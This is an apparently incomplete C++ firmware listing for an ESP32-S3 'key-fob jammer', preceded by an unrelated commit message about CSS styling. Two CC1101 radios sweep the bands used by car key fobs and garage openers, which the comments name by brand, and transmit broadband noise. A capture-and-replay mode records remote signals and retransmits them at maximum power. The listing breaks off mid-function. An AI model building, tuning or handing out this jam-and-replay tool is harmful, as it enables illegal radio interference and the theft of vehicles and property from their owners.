Pure CSS visual upgrades — zero JS overhead, no feature changes: - CRT scanline overlay via body::after repeating gradient - Boot-in animation (brightness flash + blur fade) - Title flicker on load, persistent text-shadow glow - Pulsing glow on active radio dots and connection indicator - Shimmer gradient on progress bar - Canvas sweep cursor and sparkline glow via shadowBlur - Gradient fills on sparkline charts - Hover states on cards, metric tiles, buttons (glow + scale) - Custom thin scrollbar on log panel - Tabular-nums for jitter-free metric updates - Version badge in header Made-with: Cursor
2128 lines
86 KiB
C++
2128 lines
86 KiB
C++
/**
|
||
* Dual CC1101 always-on key-fob jammer.
|
||
* ESP32-S3 DevKitC-1: two CC1101 on shared SPI.
|
||
* Radio 1: sweeps 300–320 MHz (US band — Honda 303.825, Toyota 315, Ford/GM/Chrysler 315, Linear 318 MHz)
|
||
* Radio 2: sweeps 390–436 MHz (EU/global — LiftMaster 390, Holtek 418, Somfy 433.42, EU 433.92, Nero 434.42 MHz)
|
||
* FM noise via Galois LFSR ISR on GDO0 pins — spectrally flat broadband noise, no discrete sidebands.
|
||
* WiFi AP + web UI on boot; OTA updates via ArduinoOTA.
|
||
*/
|
||
|
||
#include <Arduino.h>
|
||
#include <RadioLib.h>
|
||
#include <WiFi.h>
|
||
#include <WebServer.h>
|
||
#include <ESPmDNS.h>
|
||
#include <ArduinoOTA.h>
|
||
#include "driver/gpio.h"
|
||
#include <Preferences.h>
|
||
#include <math.h>
|
||
#include <Wire.h>
|
||
#include <U8g2lib.h>
|
||
#include "config.h"
|
||
|
||
// Shared SPI; each Module uses its own CS.
|
||
// Must pass SPIClass explicitly so RadioLib uses our configured pins.
|
||
static SPIClass spi(FSPI);
|
||
static ArduinoHal hal(spi, SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
static Module mod1(&hal, CC1101_1_CS, CC1101_1_GDO0, RADIOLIB_NC, RADIOLIB_NC);
|
||
static Module mod2(&hal, CC1101_2_CS, CC1101_2_GDO0, RADIOLIB_NC, RADIOLIB_NC);
|
||
|
||
CC1101 radio1(&mod1);
|
||
CC1101 radio2(&mod2);
|
||
|
||
static WebServer server(WEB_PORT);
|
||
static Preferences preferences;
|
||
|
||
// CC1101 valid discrete power levels in dBm (RadioLib only accepts these exact values)
|
||
static const int8_t kPowerTable[JAM_POWER_LEVELS] = { -30, -20, -15, -10, 0, 5, 7, 10 };
|
||
|
||
// Jamming state
|
||
static bool jammingEnabled = JAMMING_ENABLED;
|
||
static uint8_t jamPowerIdx = DEFAULT_JAM_POWER_IDX; // index into kPowerTable
|
||
static int8_t jamPower = 10; // actual dBm value passed to RadioLib
|
||
|
||
// Individual radio status tracking
|
||
static int8_t radio1Status = -1; // 0=standby, 1=initialized, 2=transmitting, -1=disabled/error
|
||
static int8_t radio2Status = -1;
|
||
static String radio1Error = "Disabled / not initialized";
|
||
static String radio2Error = "Disabled / not initialized";
|
||
|
||
// Telemetry
|
||
static uint32_t uptimeStart = 0;
|
||
static float currentRssi1 = NAN;
|
||
static float currentRssi2 = NAN;
|
||
|
||
// Frequency sweep state
|
||
static uint8_t sweepStep1 = 0;
|
||
static uint8_t sweepStep2 = 0;
|
||
static uint32_t lastSweep1Ms = 0;
|
||
static uint32_t lastSweep2Ms = 0;
|
||
static float sweepFreq1 = SWEEP_1_CENTER_MHZ;
|
||
static float sweepFreq2 = SWEEP_2_CENTER_MHZ;
|
||
|
||
// Fast Frequency Hopping / VCO Calibration Caching
|
||
// By caching the CC1101 PLL calibration registers for each sweep frequency,
|
||
// we bypass the 720µs auto-calibration during the sweep, reducing hop dead-time
|
||
// from ~750µs down to ~40µs (SPI transaction time). This increases jamming efficiency
|
||
// from ~76% to >98% at a 3ms dwell time.
|
||
struct SweepStepCache {
|
||
float freqMhz;
|
||
uint8_t freqRegs[3]; // FREQ2, FREQ1, FREQ0
|
||
uint8_t fscalRegs[3]; // FSCAL3, FSCAL2, FSCAL1
|
||
};
|
||
static SweepStepCache sweepTable1[100];
|
||
static SweepStepCache sweepTable2[100];
|
||
|
||
// Runtime-adjustable sweep parameters (loaded from NVS)
|
||
static uint32_t sweepDwellMs = SWEEP_DWELL_MS;
|
||
static uint8_t sweep1Steps = SWEEP_1_STEPS;
|
||
static uint8_t sweep2Steps = SWEEP_2_STEPS;
|
||
static float sweep1SpanMhz = SWEEP_1_SPAN_MHZ;
|
||
static float sweep2SpanMhz = SWEEP_2_SPAN_MHZ;
|
||
|
||
// Amp gain for effective power display (user-configurable)
|
||
static int8_t ampGainDb = DEFAULT_AMP_GAIN_DB;
|
||
|
||
// Auto-reinit watchdog
|
||
static uint32_t lastReInitCheck = 0;
|
||
|
||
// 24-hour operation health tracking
|
||
static uint32_t hopCount1 = 0; // total frequency hops since boot
|
||
static uint32_t hopCount2 = 0;
|
||
static uint32_t minFreeHeap = 0xFFFFFFFF; // lowest heap ever observed
|
||
static uint32_t lastTempWarnMs = 0; // rate-limit temperature warnings
|
||
|
||
// ─── OLED (0.96" SSD1306 128x64) ─────────────────────────────────────────────
|
||
// SW_I2C: bit-bangs GPIO directly — no Wire library involved, always works
|
||
// if the pins are physically correct. SDA=GPIO17, SCL=GPIO18.
|
||
static U8G2_SSD1306_128X64_NONAME_F_SW_I2C
|
||
u8g2(U8G2_R0, OLED_SCL_PIN, OLED_SDA_PIN, U8X8_PIN_NONE);
|
||
static bool oledOk = false;
|
||
static uint8_t oledPage = 0; // 0=status, 1=freq/hops, 2=health
|
||
static uint32_t oledPageMs = 0;
|
||
static uint32_t oledTickMs = 0;
|
||
static uint8_t waveFrame = 0; // 0-3 animated arc count
|
||
static uint32_t waveMs = 0;
|
||
static uint32_t notifEnd = 0; // millis() when current notification expires
|
||
static char notifL1[22] = {};
|
||
static char notifL2[22] = {};
|
||
|
||
// ─── Rotary encoder ──────────────────────────────────────────────────────────
|
||
static volatile int8_t encDelta = 0; // +1 CW / -1 CCW per detent
|
||
static uint8_t encLastClk = HIGH;
|
||
|
||
void IRAM_ATTR encISR() {
|
||
const uint8_t clk = digitalRead(ENC_CLK_PIN);
|
||
if (clk == encLastClk) return; // filter glitch
|
||
encLastClk = clk;
|
||
if (clk == LOW) { // falling edge = one detent
|
||
encDelta += (digitalRead(ENC_DT_PIN) == HIGH) ? +1 : -1;
|
||
}
|
||
}
|
||
|
||
// Log ring buffer
|
||
static constexpr size_t LOG_LINES = 100;
|
||
static String logRing[LOG_LINES];
|
||
static size_t logHead = 0;
|
||
static size_t logCount = 0;
|
||
|
||
static void logLine(const String& s) {
|
||
uint32_t ms = millis();
|
||
uint32_t ss = ms / 1000;
|
||
uint32_t mm = ss / 60; ss %= 60;
|
||
uint32_t hh = mm / 60; mm %= 60;
|
||
char ts[12];
|
||
snprintf(ts, sizeof(ts), "[%02u:%02u:%02u] ", hh, mm, ss);
|
||
const String line = String(ts) + s;
|
||
logRing[logHead] = line;
|
||
logHead = (logHead + 1) % LOG_LINES;
|
||
if (logCount < LOG_LINES) logCount++;
|
||
Serial.println(line);
|
||
}
|
||
|
||
static String getLogsText() {
|
||
String out;
|
||
out.reserve(4096);
|
||
const size_t start = (logCount == LOG_LINES) ? logHead : 0;
|
||
for (size_t i = 0; i < logCount; i++) {
|
||
const size_t idx = (start + i) % LOG_LINES;
|
||
out += logRing[idx];
|
||
out += '\n';
|
||
}
|
||
return out;
|
||
}
|
||
|
||
static String jsonEscape(const String& in) {
|
||
String out;
|
||
out.reserve(in.length() + 8);
|
||
for (size_t i = 0; i < in.length(); ++i) {
|
||
const char c = in.charAt(i);
|
||
if (c == '\\') out += "\\\\";
|
||
else if (c == '\"') out += "\\\"";
|
||
else if (c == '\n') out += "\\n";
|
||
else if (c == '\r') out += "\\r";
|
||
else if (c == '\t') out += "\\t";
|
||
else out += c;
|
||
}
|
||
return out;
|
||
}
|
||
|
||
// Forward declarations
|
||
static void noiseGenStart();
|
||
static void startJamming();
|
||
static void stopJamming();
|
||
static void oledNotify(const char* l1, const char* l2, uint32_t dur);
|
||
static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val);
|
||
|
||
// ─── Noise generator globals (used by stopJamming before definition) ─────────
|
||
static volatile uint32_t s_lfsr = 0xDEADBEEFu;
|
||
static hw_timer_t* s_noiseTimer = nullptr;
|
||
|
||
// ─── Signal capture / replay globals ─────────────────────────────────────────
|
||
// Buffer lives in BSS (static) — 50 KB, no heap fragmentation.
|
||
static uint8_t capBuf[CAP_BUF_BYTES];
|
||
|
||
enum class CapMode : uint8_t { IDLE=0, RECORDING=1, RECORDED=2, REPLAYING=3 };
|
||
static volatile CapMode capMode = CapMode::IDLE;
|
||
static volatile uint32_t capIdx = 0; // current bit index
|
||
static volatile bool capBufFull = false; // set by ISR when buffer fills
|
||
static uint32_t capRecBits = 0; // bits stored after recording
|
||
static float capFreq = 315.0f; // frequency at capture time
|
||
static uint8_t capRadioNum = 1; // 1 or 2
|
||
static bool capIsOOK = true; // modulation: true=OOK, false=2-FSK
|
||
static gpio_num_t capGdoPin = (gpio_num_t)CC1101_1_GDO0;
|
||
static hw_timer_t* capTimer = nullptr;
|
||
static volatile uint32_t capTransitions = 0; // edge count — used for bitrate estimation
|
||
static volatile uint32_t capLongRuns = 0; // counts stable runs (>15 samples) to filter out thermal noise
|
||
static uint32_t capCurrentRun = 0; // current stable run length
|
||
static bool capSigNotified = false; // fire OLED notification only once per session
|
||
static bool capPrevJamming = false; // jammingEnabled state saved before capture pauses it
|
||
|
||
// ─── Capture/replay ISRs ──────────────────────────────────────────────────────
|
||
static void IRAM_ATTR capRecordISR() {
|
||
const uint32_t i = capIdx;
|
||
if (i >= (uint32_t)(CAP_BUF_BYTES * 8)) { capBufFull = true; return; }
|
||
const uint8_t bit = (uint8_t)((REG_READ(GPIO_IN_REG) >> capGdoPin) & 1u);
|
||
// Count transitions and long stable runs (software squelch)
|
||
if (i > 0) {
|
||
const uint8_t prev = (capBuf[(i-1) >> 3] >> ((i-1) & 7)) & 1u;
|
||
if (bit == prev) {
|
||
capCurrentRun++;
|
||
} else {
|
||
capTransitions++;
|
||
if (capCurrentRun > 15) capLongRuns++;
|
||
capCurrentRun = 0;
|
||
}
|
||
}
|
||
if (bit) capBuf[i >> 3] |= (1u << (i & 7));
|
||
else capBuf[i >> 3] &= ~(1u << (i & 7));
|
||
capIdx = i + 1;
|
||
}
|
||
|
||
static void IRAM_ATTR capReplayISR() {
|
||
uint32_t i = capIdx;
|
||
if (i >= capRecBits) { i = 0; } // loop seamlessly
|
||
const uint8_t bit = (capBuf[i >> 3] >> (i & 7)) & 1u;
|
||
gpio_set_level(capGdoPin, bit);
|
||
capIdx = i + 1;
|
||
}
|
||
|
||
// ─── Capture/replay management ───────────────────────────────────────────────
|
||
static void capTimerStop() {
|
||
if (capTimer) {
|
||
timerAlarmDisable(capTimer);
|
||
timerDetachInterrupt(capTimer);
|
||
timerEnd(capTimer);
|
||
capTimer = nullptr;
|
||
}
|
||
}
|
||
|
||
static void startCapture(float freq, uint8_t radioNum, bool isOOK) {
|
||
capPrevJamming = jammingEnabled; // save before stopJamming() clears it
|
||
stopJamming();
|
||
|
||
capFreq = freq;
|
||
capRadioNum = radioNum;
|
||
capIsOOK = isOOK;
|
||
capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0;
|
||
capIdx = 0;
|
||
capBufFull = false;
|
||
capRecBits = 0;
|
||
capTransitions = 0;
|
||
capLongRuns = 0;
|
||
capCurrentRun = 0;
|
||
capSigNotified = false;
|
||
memset(capBuf, 0, sizeof(capBuf));
|
||
|
||
CC1101& radio = (radioNum == 1) ? radio1 : radio2;
|
||
radio.standby();
|
||
radio.setOOK(isOOK);
|
||
radio.setFrequency(freq);
|
||
radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ);
|
||
radio.receiveDirect(); // GDO0 becomes demodulated-data output from CC1101
|
||
|
||
// After receiveDirect, CC1101 drives GDO0 — set ESP32 pin as input to read it
|
||
gpio_set_direction(capGdoPin, GPIO_MODE_INPUT);
|
||
|
||
capTimerStop();
|
||
capMode = CapMode::RECORDING;
|
||
capTimer = timerBegin(3, 80, true); // timer 3, 1 MHz tick
|
||
timerAttachInterrupt(capTimer, &capRecordISR, true);
|
||
timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true); // period in µs
|
||
timerAlarmEnable(capTimer);
|
||
|
||
logLine("[CAP] Recording " + String(freq, 3) + " MHz via radio " +
|
||
String(radioNum) + " @ " + String(CAP_SAMPLE_HZ/1000) + " kHz");
|
||
oledNotify("RECORDING", (String(freq, 2) + " MHz").c_str(), 2500);
|
||
}
|
||
|
||
static void startReplay(uint8_t radioNum) {
|
||
if (capRecBits == 0) { logLine("[CAP] Nothing captured to replay"); return; }
|
||
|
||
capPrevJamming = jammingEnabled; // save before stopJamming() clears it
|
||
stopJamming();
|
||
|
||
capRadioNum = radioNum;
|
||
capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0;
|
||
capIdx = 0;
|
||
|
||
CC1101& radio = (radioNum == 1) ? radio1 : radio2;
|
||
const uint8_t csPin = (radioNum == 1) ? CC1101_1_CS : CC1101_2_CS;
|
||
radio.standby();
|
||
radio.setOOK(capIsOOK);
|
||
radio.setFrequency(capFreq);
|
||
radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ);
|
||
|
||
// Configure PATABLE for maximum OOK contrast and TX power.
|
||
// In OOK mode the CC1101 uses PATABLE[0] for "0" bits and PATABLE[1] for "1" bits.
|
||
// 0x00 = full off, 0xC0 = max power (+10 dBm). This gives the sharpest on/off
|
||
// keying and maximizes replay range by eliminating residual carrier leakage during OFF.
|
||
if (capIsOOK) {
|
||
spiWriteReg(csPin, 0x3E, 0x00); // PATABLE[0] = off
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
spi.transfer(0x7E); // Burst write PATABLE
|
||
spi.transfer(0x00); // index 0: OFF
|
||
spi.transfer(0xC0); // index 1: max power (+10 dBm)
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
}
|
||
|
||
radio.transmitDirectAsync(); // GDO0 becomes data input to CC1101
|
||
|
||
gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT);
|
||
|
||
capTimerStop();
|
||
capMode = CapMode::REPLAYING;
|
||
capTimer = timerBegin(3, 80, true);
|
||
timerAttachInterrupt(capTimer, &capReplayISR, true);
|
||
timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true);
|
||
timerAlarmEnable(capTimer);
|
||
|
||
logLine("[CAP] Replaying " + String(capFreq, 3) + " MHz, " +
|
||
String(capRecBits) + " bits (" +
|
||
String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms), looping");
|
||
oledNotify("REPLAYING", (String(capFreq, 2) + " MHz").c_str(), 2500);
|
||
}
|
||
|
||
static void stopCapture() {
|
||
capTimerStop();
|
||
if (capMode == CapMode::RECORDING) {
|
||
capRecBits = capIdx;
|
||
capMode = (capRecBits > 0) ? CapMode::RECORDED : CapMode::IDLE;
|
||
logLine("[CAP] Stopped: " + String(capRecBits) + " bits saved");
|
||
oledNotify("CAPTURED", (String(capRecBits / 1000) + "k bits").c_str(), 2500);
|
||
} else if (capMode == CapMode::REPLAYING) {
|
||
capMode = CapMode::RECORDED;
|
||
logLine("[CAP] Replay stopped");
|
||
oledNotify("REPLAY", "STOPPED", 2500);
|
||
}
|
||
// Restore pin direction then restart jamming if it was active before capture
|
||
gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT);
|
||
gpio_set_level(capGdoPin, 0);
|
||
if (capPrevJamming) {
|
||
capPrevJamming = false;
|
||
jammingEnabled = true;
|
||
startJamming();
|
||
}
|
||
}
|
||
|
||
// Simple signal analysis — counts transitions to estimate original bitrate
|
||
// and measures duty cycle (fraction of 1s = carrier-on time).
|
||
static String capAnalyze() {
|
||
if (capRecBits < 100) return "{\"err\":\"no data\"}";
|
||
|
||
uint32_t ones = 0, transitions = 0;
|
||
uint8_t prev = (capBuf[0] >> 0) & 1u;
|
||
for (uint32_t i = 1; i < capRecBits; i++) {
|
||
const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u;
|
||
if (b) ones++;
|
||
if (b != prev) { transitions++; prev = b; }
|
||
}
|
||
|
||
// Approximate original bitrate: each symbol averages capRecBits/transitions samples
|
||
const uint32_t avgRunLen = (transitions > 0) ? (capRecBits / transitions) : capRecBits;
|
||
const uint32_t estBps = (avgRunLen > 0) ? (CAP_SAMPLE_HZ / avgRunLen) : 0;
|
||
const uint32_t dutyPct = (uint32_t)(ones * 100UL / capRecBits);
|
||
const uint32_t durMs = capRecBits * 1000 / CAP_SAMPLE_HZ;
|
||
|
||
char buf[200];
|
||
snprintf(buf, sizeof(buf),
|
||
"{\"bits\":%lu,\"dur_ms\":%lu,\"transitions\":%lu,"
|
||
"\"est_bps\":%lu,\"duty_pct\":%lu,\"freq\":%.3f}",
|
||
(unsigned long)capRecBits, (unsigned long)durMs,
|
||
(unsigned long)transitions, (unsigned long)estBps,
|
||
(unsigned long)dutyPct, (double)capFreq);
|
||
return String(buf);
|
||
}
|
||
|
||
// ─── Raw SPI Helpers for Fast Sweep ────────────────────────────────────────────
|
||
static void spiStrobe(uint8_t csPin, uint8_t strobe) {
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
spi.transfer(strobe);
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
}
|
||
|
||
static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val) {
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
spi.transfer(reg);
|
||
spi.transfer(val);
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
}
|
||
|
||
static uint8_t spiReadReg(uint8_t csPin, uint8_t reg) {
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
spi.transfer(reg | 0x80); // Read bit
|
||
uint8_t val = spi.transfer(0x00);
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
return val;
|
||
}
|
||
|
||
static uint8_t spiReadStatusReg(uint8_t csPin, uint8_t reg) {
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
spi.transfer(reg | 0xC0); // Read bit + Burst bit for status registers
|
||
uint8_t val = spi.transfer(0x00);
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
return val;
|
||
}
|
||
|
||
// Pre-compute and cache the PLL calibration for all frequencies in a sweep.
|
||
static void buildSweepTable(CC1101& radio, uint8_t csPin, SweepStepCache* table, uint8_t steps, float center, float span) {
|
||
logLine("[SWEEP] Building VCO calibration table for CS " + String(csPin));
|
||
const float divisor = (steps > 1) ? (float)(steps - 1) : 1.0f;
|
||
|
||
for (uint8_t i = 0; i < steps; i++) {
|
||
float freq = center - (span / 2.0f) + (span / divisor) * (float)i;
|
||
table[i].freqMhz = freq;
|
||
|
||
radio.standby();
|
||
radio.setFrequency(freq);
|
||
|
||
spiStrobe(csPin, 0x33); // SCAL strobe forces calibration
|
||
|
||
uint32_t start = millis();
|
||
while ((spiReadStatusReg(csPin, 0x38) & 0x1F) != 0x01) { // MARCSTATE == 0x01 (IDLE)
|
||
if (millis() - start > 50) {
|
||
logLine("[SWEEP] VCO cal timeout at " + String(freq) + " MHz");
|
||
break;
|
||
}
|
||
}
|
||
|
||
table[i].freqRegs[0] = spiReadReg(csPin, 0x0D); // FREQ2
|
||
table[i].freqRegs[1] = spiReadReg(csPin, 0x0E); // FREQ1
|
||
table[i].freqRegs[2] = spiReadReg(csPin, 0x0F); // FREQ0
|
||
|
||
table[i].fscalRegs[0] = spiReadReg(csPin, 0x23); // FSCAL3
|
||
table[i].fscalRegs[1] = spiReadReg(csPin, 0x24); // FSCAL2
|
||
table[i].fscalRegs[2] = spiReadReg(csPin, 0x25); // FSCAL1
|
||
}
|
||
}
|
||
|
||
// Manually probe a CC1101 via raw SPI to verify bus connectivity.
|
||
// Reads the VERSION register (0xF1 = burst read of reg 0x31).
|
||
// Returns the raw byte, or 0xFF if bus appears dead.
|
||
static uint8_t probeCC1101(uint8_t csPin) {
|
||
pinMode(csPin, OUTPUT);
|
||
digitalWrite(csPin, HIGH);
|
||
delayMicroseconds(50);
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
delayMicroseconds(10);
|
||
spi.transfer(0xF1); // read status reg 0x31 (VERSION)
|
||
uint8_t val = spi.transfer(0x00);
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
return val;
|
||
}
|
||
|
||
// Manually pulse CS to hardware-reset a CC1101 before RadioLib init.
|
||
static void hardResetCC1101(uint8_t csPin) {
|
||
pinMode(csPin, OUTPUT);
|
||
digitalWrite(csPin, LOW);
|
||
delayMicroseconds(5);
|
||
digitalWrite(csPin, HIGH);
|
||
delayMicroseconds(45);
|
||
// Hold CS low, wait for MISO to settle, then release
|
||
spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0));
|
||
digitalWrite(csPin, LOW);
|
||
delay(10);
|
||
spi.transfer(0x30); // SRES strobe
|
||
digitalWrite(csPin, HIGH);
|
||
spi.endTransaction();
|
||
delay(5);
|
||
}
|
||
|
||
// Start simultaneous jamming on both radios
|
||
static void startJamming() {
|
||
logLine("[JAM] Starting simultaneous jamming system");
|
||
logLine("[JAM] Power: " + String(jamPower) + " dBm");
|
||
|
||
// Reset radio status
|
||
radio1Status = 0;
|
||
radio2Status = 0;
|
||
radio1Error = "";
|
||
radio2Error = "";
|
||
|
||
// Initialize radio 1 with retries
|
||
int st1 = RADIOLIB_ERR_CHIP_NOT_FOUND;
|
||
for (int attempt = 0; attempt < 3 && st1 != RADIOLIB_ERR_NONE; attempt++) {
|
||
if (attempt > 0) { delay(50); }
|
||
st1 = radio1.begin(CC1101_1_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16);
|
||
}
|
||
if (st1 != RADIOLIB_ERR_NONE) {
|
||
radio1Status = -1;
|
||
radio1Error = "Init failed: " + String(st1);
|
||
logLine("[R1] init failed: " + String(st1));
|
||
} else {
|
||
radio1Status = 1;
|
||
buildSweepTable(radio1, CC1101_1_CS, sweepTable1, sweep1Steps, SWEEP_1_CENTER_MHZ, sweep1SpanMhz);
|
||
}
|
||
|
||
// Initialize radio 2 with retries
|
||
int st2 = RADIOLIB_ERR_CHIP_NOT_FOUND;
|
||
for (int attempt = 0; attempt < 3 && st2 != RADIOLIB_ERR_NONE; attempt++) {
|
||
if (attempt > 0) { delay(50); }
|
||
st2 = radio2.begin(CC1101_2_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16);
|
||
}
|
||
if (st2 != RADIOLIB_ERR_NONE) {
|
||
radio2Status = -1;
|
||
radio2Error = "Init failed: " + String(st2);
|
||
logLine("[R2] init failed: " + String(st2));
|
||
} else {
|
||
radio2Status = 1;
|
||
buildSweepTable(radio2, CC1101_2_CS, sweepTable2, sweep2Steps, SWEEP_2_CENTER_MHZ, sweep2SpanMhz);
|
||
}
|
||
|
||
// Start both radios transmitting simultaneously
|
||
int stTx1 = RADIOLIB_ERR_NONE;
|
||
int stTx2 = RADIOLIB_ERR_NONE;
|
||
|
||
// Start LFSR noise generator — drives GDO0 pins from a 50 kHz hardware timer ISR,
|
||
// producing spectrally flat pseudo-random broadband FM noise (~810 kHz per hop).
|
||
noiseGenStart();
|
||
|
||
if (radio1Status == 1) {
|
||
stTx1 = radio1.transmitDirectAsync();
|
||
if (stTx1 != RADIOLIB_ERR_NONE) {
|
||
radio1Status = -1;
|
||
radio1Error = "Transmit failed: " + String(stTx1);
|
||
logLine("[R1] transmitDirectAsync failed: " + String(stTx1));
|
||
} else {
|
||
radio1Status = 2; // Transmitting
|
||
}
|
||
}
|
||
|
||
if (radio2Status == 1) {
|
||
stTx2 = radio2.transmitDirectAsync();
|
||
if (stTx2 != RADIOLIB_ERR_NONE) {
|
||
radio2Status = -1;
|
||
radio2Error = "Transmit failed: " + String(stTx2);
|
||
logLine("[R2] transmitDirectAsync failed: " + String(stTx2));
|
||
} else {
|
||
radio2Status = 2; // Transmitting
|
||
}
|
||
}
|
||
|
||
if (radio1Status == 2 || radio2Status == 2) {
|
||
logLine("[JAM] Jamming active (async FM noise mode):");
|
||
logLine("[JAM] Radio 1: sweep 300-320 MHz at " + String(jamPower) + " dBm (status: " + String(radio1Status == 2 ? "TX" : "FAIL") + ")");
|
||
logLine("[JAM] Radio 2: sweep 390-436 MHz at " + String(jamPower) + " dBm (status: " + String(radio2Status == 2 ? "TX" : "FAIL") + ")");
|
||
} else {
|
||
logLine("[JAM] Both radios failed to start - check SPI connections");
|
||
logLine("[JAM] R1 error: " + radio1Error);
|
||
logLine("[JAM] R2 error: " + radio2Error);
|
||
// jammingEnabled stays true so it retries on next toggle or reboot
|
||
}
|
||
}
|
||
|
||
// Stop jamming — idempotent, safe to call at any time including from capture code.
|
||
// Always brings GDO0 pins and noise timer to a known-safe state regardless of
|
||
// whether jammingEnabled was true. Only logs if something was actually active.
|
||
static void stopJamming() {
|
||
const bool wasActive = jammingEnabled;
|
||
|
||
// Always stop noise timer first — prevents ISR touching GDO0 during standby
|
||
if (s_noiseTimer) {
|
||
timerAlarmDisable(s_noiseTimer);
|
||
timerDetachInterrupt(s_noiseTimer);
|
||
timerEnd(s_noiseTimer);
|
||
s_noiseTimer = nullptr;
|
||
}
|
||
gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0);
|
||
gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0);
|
||
|
||
if (radio1Status == 2) {
|
||
int st1 = radio1.standby();
|
||
if (st1 != RADIOLIB_ERR_NONE) {
|
||
radio1Error = "Standby failed: " + String(st1);
|
||
logLine("[R1] standby failed: " + String(st1));
|
||
} else {
|
||
radio1Status = 1;
|
||
radio1Error = "";
|
||
}
|
||
}
|
||
|
||
if (radio2Status == 2) {
|
||
int st2 = radio2.standby();
|
||
if (st2 != RADIOLIB_ERR_NONE) {
|
||
radio2Error = "Standby failed: " + String(st2);
|
||
logLine("[R2] standby failed: " + String(st2));
|
||
} else {
|
||
radio2Status = 1;
|
||
radio2Error = "";
|
||
}
|
||
}
|
||
|
||
jammingEnabled = false;
|
||
if (wasActive) logLine("[JAM] Jamming stopped");
|
||
}
|
||
|
||
// ─── OLED functions ──────────────────────────────────────────────────────────
|
||
|
||
// Queue a full-screen notification overlay for dur ms.
|
||
static void oledNotify(const char* l1, const char* l2, uint32_t dur = 2500) {
|
||
if (!oledOk) return;
|
||
strlcpy(notifL1, l1, sizeof(notifL1));
|
||
strlcpy(notifL2, l2, sizeof(notifL2));
|
||
notifEnd = millis() + dur;
|
||
oledPageMs = notifEnd; // reset page timer after notification clears
|
||
}
|
||
|
||
// Show a synchronous one-shot boot status message (called during setup).
|
||
static void oledBootMsg(const char* line) {
|
||
if (!oledOk) return;
|
||
u8g2.clearBuffer();
|
||
u8g2.setFont(u8g2_font_7x13_tf);
|
||
u8g2.drawStr(0, 14, "CC1101 JAMMER");
|
||
u8g2.setFont(u8g2_font_6x10_tf);
|
||
u8g2.drawStr(0, 27, "ESP32-S3 INIT");
|
||
u8g2.drawHLine(0, 30, 128);
|
||
u8g2.drawStr(0, 46, line);
|
||
u8g2.sendBuffer();
|
||
}
|
||
|
||
// Draw animated right-half radio-wave arcs at (cx, cy), n arcs (0-3).
|
||
static void oledDrawWaves(uint8_t cx, uint8_t cy, uint8_t n) {
|
||
for (uint8_t i = 0; i < n; i++) {
|
||
u8g2.drawCircle(cx, cy, (i + 1) * 3,
|
||
U8G2_DRAW_UPPER_RIGHT | U8G2_DRAW_LOWER_RIGHT);
|
||
}
|
||
}
|
||
|
||
// Draw page indicator dots in the yellow zone (top-right corner)
|
||
// page = current page (0-2)
|
||
static void oledPageDots(uint8_t page) {
|
||
for (uint8_t i = 0; i < 3; i++) {
|
||
const uint8_t x = 116 + i * 5;
|
||
if (i == page) u8g2.drawBox(x, 4, 3, 3); // filled = active
|
||
else u8g2.drawFrame(x, 4, 3, 3); // outline = inactive
|
||
}
|
||
}
|
||
|
||
// Page 0 — Live Status
|
||
// Yellow zone (y 0-15): status header
|
||
// Blue zone (y16-63): 4 data lines with 5x7 font
|
||
static void oledDrawStatus() {
|
||
const bool jam = jammingEnabled;
|
||
const bool r1 = (radio1Status == 2);
|
||
const bool r2 = (radio2Status == 2);
|
||
const CapMode cm = capMode;
|
||
|
||
// Yellow zone header
|
||
u8g2.setFont(u8g2_font_6x10_tf);
|
||
if (cm == CapMode::RECORDING) {
|
||
// Flashing border effect — blink every ~500 ms using bit 9 of millis()
|
||
if (millis() & 512) {
|
||
u8g2.drawBox(0, 0, 128, 13);
|
||
u8g2.setDrawColor(0);
|
||
}
|
||
u8g2.drawStr(2, 10, ">> RECORDING <<");
|
||
u8g2.setDrawColor(1);
|
||
} else if (cm == CapMode::REPLAYING) {
|
||
u8g2.drawBox(0, 0, 128, 13);
|
||
u8g2.setDrawColor(0);
|
||
